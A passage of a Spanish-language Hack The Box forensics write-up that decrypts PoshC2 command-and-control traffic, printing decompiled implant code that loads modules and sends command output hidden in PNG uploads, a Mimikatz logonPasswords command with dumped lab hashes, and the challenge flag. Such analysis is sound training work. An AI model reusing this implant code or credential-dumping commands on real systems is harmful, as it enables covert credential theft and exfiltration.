}
string text2 = text.Replace("multicmd", "");
string[] array = text2.Split(new string[1] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
string[] array2 = array;
foreach (string text3 in array2)
{
taskId = text3.Substring(0, 5);
cmd = text3.Substring(5, text3.Length - 5);
if (cmd.ToLower().StartsWith("exit"))
{
Run = false;
manualResetEvent.Set();
break;
}
if (cmd.ToLower().StartsWith("loadmodule"))
{
string s = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
Assembly assembly = Assembly.Load(Convert.FromBase64String(s));
Exec(stringBuilder.ToString(), taskId, Key);
}
else if (cmd.ToLower().StartsWith("run-dll-background") || cmd.ToLower().StartsWith("run-exe-background"))
{
Thread thread = new Thread((ThreadStart)delegate
{
rAsm(cmd);
});
Exec("[+] Running background task", taskId, Key);
thread.Start();
}
else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
{
stringBuilder.AppendLine(rAsm(cmd));
}
else if (cmd.ToLower().StartsWith("beacon"))
{
Regex regex2 = new Regex("(?<=(beacon)\\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
Match match2 = regex2.Match(text3);
if (match2.Success)
{
num = Parse_Beacon_Time(match2.Groups["t"].Value, match2.Groups["u"].Value);
}
else
{
stringBuilder.AppendLine($"[X] Invalid time \"{text3}\"");
}
Exec("Beacon set", taskId, Key);
}
else
{
string text4 = rAsm($"run-exe Core.Program Core {cmd}");
}
stringBuilder.AppendLine(stringWriter.ToString());
StringBuilder stringBuilder2 = stringWriter.GetStringBuilder();
stringBuilder2.Remove(0, stringBuilder2.Length);
if (stringBuilder.Length > 2)
{
Exec(stringBuilder.ToString(), taskId, Key);
}
stringBuilder.Length = 0;
}
end_IL_00f1:;
}
catch (NullReferenceException)
{
}
catch (WebException)
{
}
catch (Exception arg)
{
Exec($"Error: {stringBuilder.ToString()} {arg}", "Error", Key);
}
finally
{
stringBuilder.AppendLine(stringWriter.ToString());
StringBuilder stringBuilder3 = stringWriter.GetStringBuilder();
stringBuilder3.Remove(0, stringBuilder3.Length);
if (stringBuilder.Length > 2)
{
Exec(stringBuilder.ToString(), "99999", Key);
}
stringBuilder.Length = 0;
}
}
}
Esta función parece abrumadora, pero hay muchas líneas irrelevantes. De hecho, al principio hay muchas configuraciones, pero a continuación, se llama GetWebRequest(null)
y guarda el resultado en cmd
y lo descifra con Decryption
. Esta es la próxima petición en Wireshark:
Podemos descifrar el payload como antes (con la nueva clave AES):
>>> key = b64d('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=')
>>>
>>> with open('kikelia.b64') as f:
... enc = b64d(f.read())
...
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> data = b64d(cipher.decrypt(ct))
>>> data[:20]
b'multicmd00031loadmod'
>>> data[:100]
b'multicmd00031loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
>>> data[-100:]
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=!d-3dion@LD!-d00033loadpowerstatus'
El payload anterior será procesado por la siguiente parte de ImplantCore
. El payload anterior contiene loadmodule
, entonces esta es la parte que se ejecutará:
// ...
if (cmd.ToLower().StartsWith("loadmodule"))
{
string s = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
Assembly assembly = Assembly.Load(Convert.FromBase64String(s));
Exec(stringBuilder.ToString(), taskId, Key);
}
// ...
El programa limpia el payload para tomar solo los datos codificados en Base64. Podríamos hacer las mismas operaciones, pero el resultado será el mismo, por lo que tomaremos los datos codificados en Base64 y los decodificaremos a un archivo porque se trata de otro Windows PE:
>>> b64_data = data[23:-34]
>>> b64_data[:5]
b'TVqQA'
>>> b64_data[-5:]
b'AAAA='
>>> data = b64d(b64_data)
>>> data[:20]
b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00'
>>> with open('asm.exe', 'wb') as f:
... f.write(data)
...
201746
>>> exit()
$ file asm.exe
asm.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Como antes, esto está compilado en C# .NET, así que lo podemos descompilar:
// Warning: Some assembly references could not be resolved automatically. This might lead to incorrect decompilation of some parts,
// for ex. property getter/setter access. To get optimal decompilation results, please manually add the missing references to the list of loaded assemblies.
// Core.Program
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using Core;
using Core.Common;
public static class Program
{
public static readonly Dictionary<string, string> ARGUMENTS = new Dictionary<string, string>();
public static void PrintHelp()
{
Console.WriteLine("");
Console.WriteLine("PoshC2 - Core Module");
Console.WriteLine("===========================================");
MethodInfo[] methods = typeof(global::Core.Core).GetMethods();
try
{
MethodInfo[] array = methods;
foreach (MethodInfo methodInfo in array)
{
object[] array2 = typeof(global::Core.Core).GetMethod(methodInfo.Name)?.GetCustomAttributes(inherit: true);
if (array2 != null && array2.Length > 0)
{
Console.WriteLine((array2[0] as CoreDispatch)?.Usage);
Console.WriteLine("\t" + (array2[0] as CoreDispatch)?.Description);
}
}
}
catch (Exception arg)
{
Console.WriteLine($"Error in help: {arg}");
}
}
public static void Main(string[] args)
{
if (args.Length == 0 || (args.Length > 1 && (args[1].ToLower() == "-help" || args[1].ToLower() == "help" || args[1].ToLower() == "?" || args[1].ToLower() == "-h")))
{
PrintHelp();
Console.WriteLine("FileVersion: " + FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location).FileVersion);
Console.WriteLine("ProductVersion: " + FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location).ProductVersion);
return;
}
try
{
Run(args.ToList());
}
catch (Exception arg)
{
Console.WriteLine("Core generated an error: '{0}'", arg);
}
}
private static void Run(List<string> args)
{
if (args.Count < 1)
{
Console.WriteLine("Error: No args passed to run");
return;
}
string methodName = args[0].ToLower().Replace("-", "");
foreach (string arg in args)
{
int num = arg.IndexOf('=');
if (num > 0)
{
ARGUMENTS[arg.Substring(0, num)] = arg.Substring(num + 1);
}
}
MethodInfo methodInfo = typeof(global::Core.Core).GetMethods().FirstOrDefault((MethodInfo i) => methodName == i.Name.ToLower());
if (methodInfo != null)
{
MethodInfo method = typeof(global::Core.Core).GetMethod(methodInfo.Name);
if (method == null)
{
Console.WriteLine("[-] Unable to get method - GetMethod returned null");
return;
}
if (method.GetParameters().Length == 0)
{
method.Invoke(null, null);
return;
}
method.Invoke(null, new object[1] { args.ToArray() });
}
else
{
Console.WriteLine("[!] No command found in core");
}
}
}
El programa anterior simplemente se usa para ejecutar comandos en la máquina. La función real que lo maneja es Exec
(de malware.exe
, no de asm.exe
):
public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null)
{
if (string.IsNullOrEmpty(key))
{
key = pKey;
}
string cookie = Encryption(key, taskId);
string text = "";
text = ((encByte == null) ? Encryption(key, cmd, comp: true) : Encryption(key, null, comp: true, encByte));
byte[] cmdoutput = Convert.FromBase64String(text);
byte[] imgData = ImgGen.GetImgData(cmdoutput);
int num = 0;
while (num < 5)
{
num++;
try
{
GetWebRequest(cookie).UploadData(UrlGen.GenerateUrl(), imgData);
num = 5;
}
catch
{
}
}
}
Esta vez veremos una cookie cifrada con el ID de tarea y la salida de comando comprimida y cifrada. Además, el payload se inserta dentro de una imagen y se carga utilizando una petición POST:
Exfiltración de datos a través de imágenes PNG
El programa utiliza técnicas de esteganografía para agregar datos al final de los bytes de una imagen PNG (ya que estos archivos están delimitados por ISTART
e IEND
, cualquier procesador de imágenes no considerará los datos adicionales, por lo que permanece indvertido). Para más información, podemos ver la clase ImgGen
(específicamente, el método GetImgData
):
internal static class ImgGen
{
private static Random _rnd = new Random();
private static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled);
private static List<string> _newImgs = new List<string>();
internal static void Init(string stringIMGS)
{
IEnumerable<string> source = from Match m in _re.Matches(stringIMGS.Replace(",", ""))
select m.Value;
source = source.Where((string m) => !string.IsNullOrEmpty(m));
_newImgs = source.ToList();
}
private static string RandomString(int length)
{
return new string((from s in Enumerable.Repeat("...................@..........................Tyscf", length)
select s[_rnd.Next(s.Length)]).ToArray());
}
internal static byte[] GetImgData(byte[] cmdoutput)
{
int num = 1500;
int num2 = cmdoutput.Length + num;
string s = _newImgs[new Random().Next(0, _newImgs.Count)];
byte[] array = Convert.FromBase64String(s);
byte[] bytes = Encoding.UTF8.GetBytes(RandomString(num - array.Length));
byte[] array2 = new byte[num2];
Array.Copy(array, 0, array2, 0, array.Length);
Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length);
return array2;
}
}
Aunque puede parecer extraño, solamente agrega datos al archivo de la imagen. Lo que es más importante es analizar los datos que se agregan:
Hay muchos caracteres .
. La información real enviada está al final, solo 16 bytes. De hecho, el lío anterior son solo elecciones aleatorias de esta cadena (hasta conseguir 1500 bytes, véase el código anterior)
...................@..........................Tyscf
Entonces, tomemos el payload real:
$ python3 -q
>>> with open('image1.png', 'rb') as f:
... img_data = f.read()
...
>>> img_data[1500:]
b'@\x9f\x00\xee\xd5s\x93\xc87\xab\xa4\x1a\x12\x88\x8c\xe5'
>>> len(img_data[1500:])
16
Ahora, lo desciframos:
>>> from Crypto.Cipher import AES
>>> from base64 import b64decode as b64d
>>> from gzip import decompress
>>>
>>> key = b64d('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=')
>>> enc = img_data[1500:]
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> data = cipher.decrypt(ct)
>>> data
b''
Bueno… Esto fue solo un calentamiento. Recordemos que también teníamos una cookie:
>>> enc = b64d('WMq9+CsIFw+w2tAyYAOoICKFmVNPqoz+QDjIXSRB4kY=')
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> cipher.decrypt(ct)
b'00031\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Muy bien, esto es solo el identificador de la tarea.
La segunda petición POST contiene solo 16 bytes nuevamente, por lo que no es interesante. La tercera petición POST tiene más información:
Podemos guardar la imagen cargada como image3.png
. Ahora debemos descifrarlo y descomprimirlo:
>>> with open('image3.png', 'rb') as f:
... img_data = f.read()
...
>>> img_data[1500:]
b'7P?\x1b\x14_o\x05\x0f\xd9O\xb3\xac~\xb7w\x17\x10\xac\xfe\xa0B\xb1\x95j4,\x08\xe6W#\x1d\xcb\x1f\xcf\xb1\xe00\x17\xd0\xe8D\x91\xc0\xe0\xc8\xbd\n\xd5c\rZ(^N2\xdf\xe47H\xe7"RU\x9d\x82c\xcf\xc2X\xbd\xb51\xdb\xc3=\x8e\\\xbdM'
>>> len(img_data[1500:])
80
>>> enc = img_data[1500:]
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> data = cipher.decrypt(ct)
>>> data
b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x04\x00\x0b\xf7\x8d\x0f\xf0\x0fw\rr\n\xf2wtqv\x0c\x0e\xb1r\x0f\xf5t\x89\xf7\xf5\xf7\xf3\x0c\xf1\x0f\x82\xc8\xc5\xfb\xfbY\xf9\xe7\x01\x00\xa1\x98-%*\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decompress(data)
b'WM_POWERBROADCAST:GUID_MONITOR_POWER_ON:On'
Bien, parece la salida de algo…
Cargando Mimikatz
Después de esto, hay algunas peticiones que no comprendo completamente. Sin embargo, después de algunos paquetes, vemos otra petición GET como las anteriores, con datos codificados en Base64 en la respuesta, justo antes de una petición POST:
Esto significa que el payload cifrado debe ser un comando para ejecutar en la máquina de la víctima. Descubrimos esto:
>>> with open('franchette.b64') as f:
... enc = b64d(f.read())
...
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> data = b64d(cipher.decrypt(ct))
>>> data[:20]
b'multicmd00034loadmod'
>>> data[:100]
b'multicmd00034loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
>>> data[-100:]
b'dll SharpSploit.Credentials.Mimikatz SharpSploit Command "privilege::debug sekurlsa::logonPasswords"'
>>> data[-120:]
b'3dion@LD!-d00035run-dll SharpSploit.Credentials.Mimikatz SharpSploit Command "privilege::debug sekurlsa::logonPasswords"'
¡Oye, está tratando de ejecutar Mimikatz! Analicemos la quinta petición POST (image5.png
):
>>> with open('image5.png', 'rb') as f:
... img_data = f.read()
...
>>> len(img_data[1500:])
1008
>>> enc = img_data[1500:]
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> data = decompress(cipher.decrypt(ct))
>>> print(data.decode())
.#####. mimikatz 2.2.0 (x64) #19041 Aug 8 2021 10:31:14
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(powershell) # privilege::debug
Privilege '20' OK
mimikatz(powershell) # sekurlsa::logonPasswords
Authentication Id : 0 ; 1044643 (00000000:000ff0a3)
Session : Interactive from 1
User Name : IEUser
Domain : DESKTOP
Logon Server : DESKTOP
Logon Time : 3/7/2023 11:30:59 AM
SID : S-1-5-21-1281496067-1440983016-2272511217-1000
msv :
[00000003] Primary
* Username : IEUser
* Domain : DESKTOP
* NTLM : 69943c5e63b4d2c104dbbcc15138b72b
* SHA1 : e91fe173f59b063d620a934ce1a010f2b114c1f3
tspkg :
wdigest :
* Username : IEUser
* Domain : DESKTOP
* Password : (null)
kerberos :
* Username : IEUser
* Domain : DESKTOP
* Password : (null)
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 1044605 (00000000:000ff07d)
Session : Interactive from 1
User Name : IEUser
Domain : DESKTOP
Logon Server : DESKTOP
Logon Time : 3/7/2023 11:30:59 AM
SID : S-1-5-21-1281496067-1440983016-2272511217-1000
msv :
[00000003] Primary
* Username : IEUser
* Domain : DESKTOP
* NTLM : 69943c5e63b4d2c104dbbcc15138b72b
* SHA1 : e91fe173f59b063d620a934ce1a010f2b114c1f3
tspkg :
wdigest :
* Username : IEUser
* Domain : DESKTOP
* Password : (null)
kerberos :
* Username : IEUser
* Domain : DESKTOP
* Password : (null)
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 3/7/2023 11:30:00 AM
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 72709 (00000000:00011c05)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 3/7/2023 11:30:00 AM
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 72631 (00000000:00011bb7)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 3/7/2023 11:30:00 AM
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DESKTOP$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 3/7/2023 11:30:00 AM
SID : S-1-5-20
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : desktop$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 50926 (00000000:0000c6ee)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 3/7/2023 11:29:59 AM
SID : S-1-5-96-0-0
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 50925 (00000000:0000c6ed)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 3/7/2023 11:29:59 AM
SID : S-1-5-96-0-1
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 49932 (00000000:0000c30c)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 3/7/2023 11:29:59 AM
SID :
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap : KO
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : DESKTOP$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 3/7/2023 11:29:59 AM
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : DESKTOP$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : desktop$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
cloudap : KO
Esto es simplemente hermoso, ¿no? ¡La salida de Mimikatz de arriba estaba oculta en esta imagen!
Tomando capturas de pantalla
Ya estamos cerca del final:
Vamos a descifrar de nuevo:
>>> with open('ciel.b64') as f:
... enc = b64d(f.read())
...
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> data = b64d(cipher.decrypt(ct))
>>> data
b'multicmd00036get-screenshot'
Bien, está tratando de ejecutar get-screenshot
, y la salida debe venir en la última petición POST:
Desciframos una vez más:
>>> with open('image6.png', 'rb') as f:
... img_data = f.read()
...
>>> len(img_data[1500:])
845088
>>> enc = img_data[1500:]
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> data = decompress(cipher.decrypt(ct))
>>> data[:20]
b'iVBORw0KGgoAAAANSUhE'
>>> data[-20:]
b'euHkAAAAAElFTkSuQmCC'
Esta vez parecen datos codificados en Base64. Intentemos decodificarlo:
>>> data = b64d(data)
>>> data[:20]
b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x07z'
>>>
>>> with open('screenshot.png', 'wb') as f:
... f.write(data)
...
847050
Flag
Muy bien, finalmente tenemos esta captura de pantalla:
Y la flag aparece en la esquina superior derecha:
HTB{h0w_c4N_y0U_s3e_p05H_c0mM4nd?}